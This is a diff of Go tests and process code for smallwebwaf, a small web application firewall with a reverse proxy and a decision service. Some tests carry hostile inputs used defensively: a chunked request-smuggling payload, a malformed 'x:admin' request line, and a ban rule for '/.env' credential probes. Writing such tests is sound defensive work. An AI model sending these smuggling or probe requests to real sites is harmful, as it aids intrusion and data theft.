"X-Request-ID: " + smuggledID + "\r\n\r\n"
status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
if status != http.StatusOK {
t.Errorf("status %d, want the app's 200", status)
}
// Read as a further request, it would act straight after the answer.
for range 20 {
wantStatus(t, site+"/", otherClient, http.StatusOK)
time.Sleep(pollInterval)
}
line := serveWAFOut.findLine(t, func(fields map[string]any) bool {
return fields["request_id"] == smuggledID
})
if line != nil {
t.Errorf("servewaf read the body as a request: %v", line)
}
}
func TestATargetThatCannotGoToServeWAFIsRefusedForABannedClient(t *testing.T) {
t.Parallel()
addr, _, stop := startServeWAF(t, serveWAFSettings(t))
defer stop()
site, out := startRProxy(t, "http://"+addr, startApp(t))
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
"X-Forwarded-For: "+placed+"\r\n\r\n")
if status != http.StatusBadRequest {
t.Errorf("status %d, want 400", status)
}
line := out.line(t, "path", "admin")
if line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v, want no disposition", line)
}
}
func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
t.Parallel()
const zoned = "2001:db8::1%eth0"
addr, _, stop := startServeWAF(t, serveWAFSettings(t))
defer stop()
site, out := startRProxy(t, "http://"+addr, startApp(t))
wantStatus(t, site+bannedProbe, zoned, http.StatusForbidden)
wantStatus(t, site+"/", zoned, http.StatusForbidden)
wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v", line)
}
}
func TestAStatusServeWAFDoesNotTakeIsReportedAs599(t *testing.T) {
t.Parallel()
const status = 799
app := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(status)
}))
t.Cleanup(app.Close)
addr, serveWAFOut, stop := startServeWAF(t, serveWAFSettings(t))
defer stop()
site, out := startRProxy(t, "http://"+addr, app.URL)
wantStatus(t, site+"/", placed, status)
line := out.line(t, "path", "/")
if line["status"] != float64(status) {
t.Errorf("rproxy's line is %v, want the status the visitor got", line)
}
id, _ := line["request_id"].(string)
report := serveWAFLine(t, serveWAFOut, id, "report")
if report["status"] != 599.0 {
t.Errorf("servewaf's line is %v, want status 599", report)
}
}
// startRProxyProcess runs `smallwebwaf rproxy` in a process of its own, with the
// settings in env, each as NAME=value. It returns where rproxy listens, the
// process, and what rproxy writes.
func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output) {
t.Helper()
binary, err := os.Executable()
if err != nil {
t.Fatalf("find the test binary: %v", err)
}
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
t.Cleanup(cancel)
out := &output{}
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
cmd.Stdout = out
cmd.Env = append(os.Environ(),
commandForMain+"=rproxy",
"SWRP_LISTEN_ADDR="+localhost+":0")
cmd.Env = append(cmd.Env, env...)
err = cmd.Start()
if err != nil {
t.Fatalf("start: %v", err)
}
t.Cleanup(func() {
_ = cmd.Process.Kill()
_ = cmd.Wait()
})
addr, _ := out.line(t, "msg", "starting")["address"].(string)
return addr, cmd, out
}
func TestRProxyAsksAServeWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
t.Parallel()
protocols := make(chan string, 10)
backend := httptest.NewUnstartedServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get(proxy.ClientHeader) != "" {
protocols <- r.Proto
w.Header().Set(proxy.DispositionHeader, proxy.DispositionDeny)
w.WriteHeader(http.StatusForbidden)
}
}))
backend.EnableHTTP2 = true
backend.StartTLS()
t.Cleanup(backend.Close)
// rproxy has no setting for the certificates it trusts, so it is told of this
// one as Go's client is told of any, in a process of its own.
certificates := filepath.Join(t.TempDir(), "servewaf.pem")
err := os.WriteFile(certificates, pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE", Bytes: backend.Certificate().Raw,
}), 0o600)
if err != nil {
t.Fatalf("write the certificate: %v", err)
}
addr, _, _ := startRProxyProcess(t,
wafBackend+"="+backend.URL,
"SWRP_UPSTREAM_URL="+startApp(t),
"SSL_CERT_FILE="+certificates)
for name, headers := range map[string]string{
"no such header": "",
"Upgrade": "Upgrade: anything\r\n",
"Connection": "Connection: anything\r\n",
"a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n",
} {
status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n")
if status != http.StatusForbidden {
t.Errorf("with %s: status %d, want servewaf's 403", name, status)
}
select {
case protocol := <-protocols:
if protocol != "HTTP/1.1" {
t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol)
}
case <-time.After(waitLimit):
t.Errorf("with %s: servewaf was not asked", name)
}
}
}
func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) {
t.Parallel()
hostname, err := os.Hostname()
if err != nil {
t.Fatalf("the host's name: %v", err)
}
// Nothing listens at the backend's address; no request asks it.
_, out := startRProxy(t, "http://127.0.0.1:9", startApp(t))
line := out.line(t, "msg", "starting")
if line["instance"] != hostname || line["level"] != "INFO" {
t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname)
}
}
func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
t.Parallel()
reportGotThere := make(chan struct{})
release := make(chan struct{})
backend := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get(proxy.ClientHeader) != "" {
w.Header().Set(proxy.DispositionHeader, proxy.DispositionAllow)
return
}
close(reportGotThere)
<-release
w.WriteHeader(http.StatusNoContent)
}))
t.Cleanup(backend.Close)
ctx, stop := context.WithCancel(t.Context())
defer stop()
env := map[string]string{
rproxyListenAddr: localhost + ":0",
"SWRP_UPSTREAM_URL": startApp(t),
rproxyTimeout: "60000",
wafBackend: backend.URL,
}
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- runRProxy(ctx, env, out)
}()
addr, _ := out.line(t, "msg", "starting")["address"].(string)
wantStatus(t, "http://"+addr+"/", placed, http.StatusOK)
select {
case <-reportGotThere:
case <-time.After(waitLimit):
t.Fatal("no report")
}
stop()
select {
case <-exited:
t.Error("rproxy stopped with a report on its way")
close(release)
return
case <-time.After(10 * pollInterval):
}
close(release)
select {
case status := <-exited:
if status != 0 {
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Error("rproxy still running, the report having been answered")
}
}
// sendAndKeepOpen sends request to rproxy at addr, and returns the connection. A
// read from it ends with an error once waitLimit is up.
func sendAndKeepOpen(t *testing.T, addr, request string) net.Conn {
t.Helper()
conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
if err != nil {
t.Fatalf("dial: %v", err)
}
t.Cleanup(func() {
_ = conn.Close()
})
err = conn.SetDeadline(time.Now().Add(waitLimit))
if err != nil {
t.Fatalf("set the deadline: %v", err)
}
_, err = io.WriteString(conn, request)
if err != nil {
t.Fatalf("send: %v", err)
}
return conn
}
func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
t.Parallel()
const (
cutOffAfter = 5 * time.Second
upstreamSetting = "SWRP_UPSTREAM_URL"
)
asked := make(chan struct{})
release := make(chan struct{})
app := httptest.NewServer(http.HandlerFunc(
func(http.ResponseWriter, *http.Request) {
close(asked)
<-release
}))
t.Cleanup(app.Close)
t.Cleanup(func() { close(release) })
backend := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(proxy.DispositionHeader, proxy.DispositionAllow)
}))
t.Cleanup(backend.Close)
ctx, stop := context.WithCancel(t.Context())
defer stop()
env := map[string]string{
rproxyListenAddr: localhost + ":0",
upstreamSetting: app.URL,
wafBackend: backend.URL,
}
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- runRProxy(ctx, env, out)
}()
addr, _ := out.line(t, "msg", "starting")["address"].(string)
conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
select {
case <-asked:
case <-time.After(waitLimit):
t.Fatal("the app was not asked")
}
stopped := time.Now()
stop()
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf("read %q (%v), want the connection cut off", text, err)
}
if elapsed := time.Since(stopped); elapsed < cutOffAfter {
t.Errorf("cut off after %s, want %s", elapsed, cutOffAfter)
}
select {
case status := <-exited:
if status != 0 {
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Error("rproxy still running after the cut-off")
}
out.line(t, "msg", "requests still in progress were cut off")
}
func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, setting string
env map[string]string
}{
{"no backend", wafBackend, nil},
{
"another invalid", rproxyTimeout,
map[string]string{wafBackend: "http://servewaf:8080", rproxyTimeout: "soon"},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
out := &output{}
if status := runRProxy(t.Context(), tc.env, out); status != 1 {
t.Errorf("exit status %d, want 1", status)
}
line := out.line(t, "msg", "invalid setting")
message, _ := line["error"].(string)
if !strings.HasPrefix(message, tc.setting+": ") {
t.Errorf("start refused with %v, want it to name %s", line, tc.setting)
}
})
}
}
func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
t.Parallel()
taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
defer func() {
_ = taken.Close()
}()
out := &output{}
status := runRProxy(t.Context(), map[string]string{
wafBackend: "http://servewaf:8080",
rproxyListenAddr: taken.Addr().String(),
}, out)
if status != 1 {
t.Errorf("exit status %d, want 1", status)
}
out.line(t, "msg", "cannot listen on SWRP_LISTEN_ADDR")
}
func TestMainRunsRProxy(t *testing.T) {
t.Parallel()
// Nothing listens there; the health check does not ask.
addr, cmd, out := startRProxyProcess(t, wafBackend+"=http://127.0.0.1:9")
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
"http://"+addr+proxy.HealthPath, http.NoBody)
if err != nil {
t.Fatalf("new request: %v", err)
}
transport := &http.Transport{}
defer transport.CloseIdleConnections()
res, err := transport.RoundTrip(req)
if err != nil {
t.Fatalf("health check: %v", err)
}
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
if err != nil || string(body) != "ok\n" {
t.Errorf("health check answered %q (%v)", body, err)
}
err = cmd.Process.Signal(syscall.SIGTERM)
if err != nil {
t.Fatalf("signal: %v", err)
}
err = cmd.Wait()
if err != nil {
t.Errorf("exit: %v; output:\n%s", err, out.text())
}
}
internal/smallwebwaf/servewaf_test.go
-204
View File
@@ -1,204 +0,0 @@
package smallwebwaf_test
import (
"bytes"
"context"
"crypto/rand"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
// commandForMain, while set in the environment, has this test binary run Main
// with the command it gives, in place of the tests, so that a test can run
// Main in a process of its own.
const commandForMain = "SMALLWEBWAF_TEST_COMMAND"
func TestMain(m *testing.M) {
command, set := os.LookupEnv(commandForMain)
if !set {
os.Exit(m.Run())
}
os.Args = strings.Fields("smallwebwaf " + command)
os.Exit(smallwebwaf.Main(testVersion))
}
func TestMainRunsServeWAF(t *testing.T) {
t.Parallel()
binary, err := os.Executable()
if err != nil {
t.Fatalf("find the test binary: %v", err)
}
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
defer cancel()
out := &output{}
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
cmd.Stdout = out
cmd.Env = append(os.Environ(),
commandForMain+"="+serveWAFCommand,
listenAddr+"="+localhost+":0",
stateDir+"="+t.TempDir(),
rulesDir+"="+t.TempDir(),
lookupSource+"=off")
err = cmd.Start()
if err != nil {
t.Fatalf("start: %v", err)
}
t.Cleanup(func() {
_ = cmd.Process.Kill()
_ = cmd.Wait()
})
addr, _ := out.line(t, "msg", "starting")["address"].(string)
ask(t, addr, "/", http.StatusOK, proxy.DispositionAllow)
err = cmd.Process.Signal(syscall.SIGTERM)
if err != nil {
t.Fatalf("signal: %v", err)
}
err = cmd.Wait()
if err != nil {
t.Errorf("exit: %v; output:\n%s", err, out.text())
}
}
func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
t.Parallel()
binary, err := os.Executable()
if err != nil {
t.Fatalf("find the test binary: %v", err)
}
for _, command := range []string{"", "serve"} {
t.Run("command "+command, func(t *testing.T) {
t.Parallel()
ctx, cancel := context.WithTimeout(t.Context(), waitLimit)
defer cancel()
var stdout, stderr bytes.Buffer
cmd := exec.CommandContext(ctx, binary)
cmd.Stdout, cmd.Stderr = &stdout, &stderr
cmd.Env = append(os.Environ(), commandForMain+"="+command)
err := cmd.Run()
if code := cmd.ProcessState.ExitCode(); code != 2 {
t.Errorf("exit status %d (%v), want 2", code, err)
}
for _, name := range []string{"rproxy", serveWAFCommand, "healthcheck"} {
if !strings.Contains(stderr.String(), name) {
t.Errorf("stderr %q does not name %s", stderr.String(), name)
}
}
if stdout.Len() != 0 {
t.Errorf("stdout %q, want nothing", stdout.String())
}
})
}
}
// ask sends servewaf at addr rproxy's question about a request for path from
// placed, checks the answer's status and disposition, and closes it.
func ask(t *testing.T, addr, path string, status int, disposition string) {
t.Helper()
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
"http://"+addr+path, http.NoBody)
if err != nil {
t.Fatalf("new request: %v", err)
}
req.Header.Set(proxy.ClientHeader, placed)
req.Header.Set("X-Request-ID", rand.Text())
transport := &http.Transport{}
defer transport.CloseIdleConnections()
res, err := (&http.Client{Transport: transport}).Do(req)
if err != nil {
t.Fatalf("question: %v", err)
}
_, _ = io.Copy(io.Discard, res.Body)
_ = res.Body.Close()
if res.StatusCode != status ||
res.Header.Get(proxy.DispositionHeader) != disposition {
t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
res.Header.Get(proxy.DispositionHeader), status, disposition)
}
}
// runServeWAF runs `smallwebwaf servewaf` with the settings in env, has use
// send it requests at the address it listens on, stops it as SIGTERM does, and
// checks that it stopped in order.
func runServeWAF(t *testing.T, env map[string]string, use func(addr string)) {
t.Helper()
ctx, stop := context.WithCancel(t.Context())
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- run(ctx, env, out)
}()
addr, _ := out.line(t, "msg", "starting")["address"].(string)
use(addr)
stop()
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
}
out.line(t, "msg", "stopped")
}
func TestServeWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
t.Parallel()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}
runServeWAF(t, env, func(addr string) {
ask(t, addr, "/", http.StatusOK, proxy.DispositionAllow)
// The default rule file bans a probe for this.
ask(t, addr, "/.env", http.StatusForbidden, proxy.DispositionDeny)
})
runServeWAF(t, env, func(addr string) {
ask(t, addr, "/", http.StatusForbidden, proxy.DispositionDeny)
})
}
internal/smallwebwaf/smallwebwaf.go
+32 -63
View File
@@ -1,16 +1,12 @@
// Package smallwebwaf runs the smallwebwaf process, as the command it is given.
// `smallwebwaf servewaf` reads the settings, the rule files, the lookup database
// and the state files, answers rproxy's questions until it is told to stop, and
// then stops in an orderly way, writing the state files. `smallwebwaf rproxy`
// reads rproxy's settings alone, and runs the reverse proxy in front of one app
// that asks servewaf about each request. `smallwebwaf healthcheck` is the
// container's health check.
// Package smallwebwaf runs the smallwebwaf process: it reads the settings,
// the rule files, the lookup database and the state files, serves requests
// until it is told to stop, and then stops in an orderly way, writing the
// state files.
package smallwebwaf
import (
"context"
"errors"
"fmt"
"io"
"log/slog"
"net"
@@ -36,25 +32,12 @@ import (
// runit and docker wait a little longer before they kill the process.
const shutdownTimeout = 5 * time.Second
// remoteLogStopTimeout is how long, as servewaf stops, the log lines still
// waiting are sent to SWWAF_LOG_REMOTE_URL before they are given up. stdout has
// carried them.
// remoteLogStopTimeout is how long, as smallwebwaf stops, the log lines
// still waiting are sent to SWWAF_LOG_REMOTE_URL before they are given
// up. stdout has carried them.
const remoteLogStopTimeout = 2 * time.Second
// usageStatus is the exit status with no command, or one smallwebwaf does not
// know.
const usageStatus = 2
// usage is what smallwebwaf prints then.
const usage = `usage: smallwebwaf <command>
commands:
rproxy the reverse proxy in front of one app
servewaf decides for rproxy, and keeps bans, counters and history
healthcheck the container's health check
`
// Params are what RunServeWAF and RunRProxy need from the process.
// Params are what Run needs from the process.
type Params struct {
// Version is the version of the binary, set when it is built.
Version string
@@ -64,45 +47,29 @@ type Params struct {
Stdout io.Writer
}
// Main runs the command os.Args names, and returns the process's exit status.
// `smallwebwaf rproxy` and `smallwebwaf servewaf` run until SIGTERM or SIGINT.
// With no command, or one it does not know, it prints the commands and returns
// usageStatus.
// Main runs smallwebwaf until SIGTERM or SIGINT, and returns the
// process's exit status. Run as `smallwebwaf healthcheck`, it is the
// container's health check instead.
func Main(version string) int {
args := os.Args[1:]
if len(args) == 0 {
return printUsage(os.Stderr)
if len(os.Args) > 1 && os.Args[1] == "healthcheck" {
return HealthCheck(context.Background(), os.Args[2:], os.LookupEnv, os.Stderr)
}
ctx, stop := signal.NotifyContext(context.Background(),
syscall.SIGTERM, os.Interrupt)
defer stop()
params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout}
switch args[0] {
case "rproxy":
return RunRProxy(ctx, params)
case "servewaf":
return RunServeWAF(ctx, params)
case "healthcheck":
return HealthCheck(ctx, args[1:], os.LookupEnv, os.Stderr)
default:
return printUsage(os.Stderr)
}
return Run(ctx, Params{
Version: version,
LookupEnv: os.LookupEnv,
Stdout: os.Stdout,
})
}
// printUsage writes the commands to w, and returns usageStatus.
func printUsage(w io.Writer) int {
_, _ = fmt.Fprint(w, usage)
return usageStatus
}
// RunServeWAF is `smallwebwaf servewaf`: it reads the settings, the rule files,
// the lookup database and the state files, then serves requests until ctx is
// done. It returns the process's exit status, 1 when servewaf cannot start.
func RunServeWAF(ctx context.Context, params Params) int {
// Run reads the settings, the rule files, the lookup database and the
// state files, then serves requests until ctx is done. It returns the
// process's exit status, 1 when smallwebwaf cannot start.
func Run(ctx context.Context, params Params) int {
// Until the settings are read, the one message is an invalid setting's
// error, which every SWWAF_LOG_LEVEL lets through.
processLog := requestlog.NewProcessLogger(params.Stdout,
@@ -184,9 +151,9 @@ func RunServeWAF(ctx context.Context, params Params) int {
return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog)
}
// newServer returns the server servewaf runs, with the metrics of the alerts,
// after reading the lookup database while SWWAF_LOOKUP_SOURCE is file. A lookup
// database that cannot be read is an error.
// newServer returns the server smallwebwaf runs, with the metrics of the
// alerts, after reading the lookup database while SWWAF_LOOKUP_SOURCE is
// file. A lookup database that cannot be read is an error.
func newServer(
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
@@ -207,7 +174,7 @@ func newServer(
}
}
server := proxy.NewServeWAF(proxy.Params{
server := proxy.New(proxy.Params{
Config: cfg,
RequestLog: stdout,
ProcessLog: processLog,
@@ -371,10 +338,12 @@ func serve(
// Run and Watch have ended, so nothing else reads or writes the
// files, and no alert is being sent, so that alerts.json keeps every
// alert not yet sent. Every request has ended too, but for one cut off
// because Shutdown timed out, which adds to its client's history only as
// it ends. That can be after this write, and then that request is missing
// from clients.json.
// alert not yet sent. Every request has ended too, but for two kinds
// that Go's server does not wait for: one cut off because Shutdown
// timed out, and one whose connection switched protocols, such as a
// WebSocket. Such a request adds to its client's history only as it
// ends, which can be after this write, and then that request is
// missing from clients.json.
<-written
<-watched
<-rulesWatched
internal/smallwebwaf/smallwebwaf_test.go
+145 -167
View File
@@ -3,7 +3,6 @@ package smallwebwaf_test
import (
"bytes"
"context"
"crypto/rand"
"encoding/json"
"io"
"net"
@@ -20,7 +19,6 @@ import (
"time"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
@@ -34,6 +32,8 @@ const (
// localhost is where the tests listen.
localhost = "127.0.0.1"
listenAddr = "SWWAF_LISTEN_ADDR"
upstreamURL = "SWWAF_UPSTREAM_URL"
trustedProxies = "SWWAF_TRUSTED_PROXIES"
stateDir = "SWWAF_STATE_DIR"
stateWriteDelay = "SWWAF_STATE_WRITE_DELAY"
stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL"
@@ -76,11 +76,21 @@ func (o *output) line(t *testing.T, key, value string) map[string]any {
deadline := time.Now().Add(waitLimit)
for time.Now().Before(deadline) {
fields := o.findLine(t, func(fields map[string]any) bool {
return fields[key] == value
})
if fields != nil {
return fields
o.mu.Lock()
text := o.buf.String()
o.mu.Unlock()
for line := range strings.Lines(text) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil {
t.Fatalf("output line %q is not JSON: %v", line, err)
}
if fields[key] == value {
return fields
}
}
time.Sleep(pollInterval)
@@ -91,29 +101,6 @@ func (o *output) line(t *testing.T, key, value string) map[string]any {
return nil
}
// findLine returns the first line written so far for which matches is true, or
// nil.
func (o *output) findLine(
t *testing.T, matches func(map[string]any) bool,
) map[string]any {
t.Helper()
for line := range strings.Lines(o.text()) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil {
t.Fatalf("output line %q is not JSON: %v", line, err)
}
if matches(fields) {
return fields
}
}
return nil
}
// text returns everything written so far.
func (o *output) text() string {
o.mu.Lock()
@@ -122,11 +109,11 @@ func (o *output) text() string {
return o.buf.String()
}
// run runs `smallwebwaf servewaf` with the settings in env until ctx is done,
// and returns its exit status. SWWAF_LOOKUP_SOURCE is off unless env sets it,
// run runs smallwebwaf with the settings in env until ctx is done, and
// returns its exit status. SWWAF_LOOKUP_SOURCE is off unless env sets it,
// so that no test sends GeoJS its clients' addresses.
func run(ctx context.Context, env map[string]string, out *output) int {
return smallwebwaf.RunServeWAF(ctx, smallwebwaf.Params{
return smallwebwaf.Run(ctx, smallwebwaf.Params{
Version: testVersion,
LookupEnv: func(name string) (string, bool) {
value, ok := env[name]
@@ -146,8 +133,8 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
out := &output{}
status := run(t.Context(), map[string]string{
"SWWAF_BYTES_LIMIT_PER_MINUTE": "lots",
instanceName: instance,
"SWWAF_REQUEST_MAX_BYTES": "lots",
instanceName: instance,
}, out)
if status != 1 {
t.Errorf("exit status %d, want 1", status)
@@ -158,7 +145,7 @@ func TestInvalidSettingStopsTheStart(t *testing.T) {
if line["type"] != "process" || line["instance"] != instance ||
line["level"] != "ERROR" ||
!strings.HasPrefix(message, "SWWAF_BYTES_LIMIT_PER_MINUTE: ") {
!strings.HasPrefix(message, "SWWAF_REQUEST_MAX_BYTES: ") {
t.Errorf("start refused with %v", line)
}
}
@@ -220,6 +207,7 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
func TestServesUntilToldToStop(t *testing.T) {
t.Parallel()
appURL := startApp(t)
dir := t.TempDir()
ctx, stop := context.WithCancel(t.Context())
@@ -228,9 +216,10 @@ func TestServesUntilToldToStop(t *testing.T) {
go func() {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
upstreamURL: appURL,
stateDir: dir,
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}, out)
}()
@@ -240,10 +229,10 @@ func TestServesUntilToldToStop(t *testing.T) {
}
starting := out.line(t, "msg", "starting")
wantStartingLine(t, starting, dir)
wantStartingLine(t, starting, appURL, dir)
addr, _ := starting["address"].(string)
wantAllowed(t, "http://"+addr+"/")
wantGreeting(t, "http://"+addr+"/")
out.line(t, "type", "request")
stop()
@@ -315,6 +304,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
metricsToken: token,
@@ -352,6 +342,7 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
rateLimitPerDay: "2",
@@ -363,8 +354,8 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
// The two requests a day allows, and a stop.
runUntilStopped(t, env, func(url string) {
wantAllowed(t, url)
wantAllowed(t, url)
wantGreeting(t, url)
wantGreeting(t, url)
})
// After a restart the client has no fresh allowance: its third
@@ -388,8 +379,10 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
rateLimitPerDay: "1",
scope: "24",
}
@@ -433,9 +426,11 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: dir,
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
// No write comes due in the test, so only the watch on the
// directory can take the edits in.
stateWriteDelay: "1h",
@@ -456,10 +451,12 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
adminToken: adminSecret,
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: dir,
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
adminToken: adminSecret,
// Neither comes due in the test: the files are written as
// smallwebwaf stops.
stateWriteDelay: "1h",
@@ -499,16 +496,17 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: dir,
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: dir,
// The requests sent until the rule takes effect must not break a
// rate limit, whose ban would refuse them too.
"SWWAF_RATE_LIMIT_PER_MINUTE": "off",
}
out := runUntilStopped(t, env, func(url string) {
wantAllowed(t, url)
wantGreeting(t, url)
// Written once: each change would start the rule files' wait
// again. A file written before smallwebwaf watches the directory is
@@ -561,8 +559,10 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
metricsToken: token,
instanceName: instance,
lookupSource: "file",
@@ -658,8 +658,10 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
upstreamURL: startApp(t),
stateDir: dir,
rulesDir: t.TempDir(),
trustedProxies: localhost + "/32",
metricsToken: token,
instanceName: instance,
"SWWAF_BLOCKLIST_URLS": torURL,
@@ -714,78 +716,6 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
}
}
func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
t.Parallel()
const bouncerKey = "crowdsec-key-0123456789abcdef"
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
// four hours, and answers only a request with its key, while it is up.
down := new(atomic.Bool)
engine := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
switch {
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
w.WriteHeader(http.StatusForbidden)
case down.Load():
w.WriteHeader(http.StatusServiceUnavailable)
default:
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`)
}
}))
t.Cleanup(engine.Close)
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
"SWWAF_CROWDSEC_LAPI_URL": engine.URL,
"SWWAF_CROWDSEC_LAPI_KEY": bouncerKey,
}
// Once the list is fetched, the client's request bans it.
first := runUntilStopped(t, env, func(url string) {
for statusFrom(t, url, placed) != http.StatusForbidden {
time.Sleep(pollInterval)
}
})
ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
}
// Restarted with the engine down, the copy kept in reputation.json bans
// another client in the netblock from its first request.
down.Store(true)
second := runUntilStopped(t, env, func(url string) {
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
})
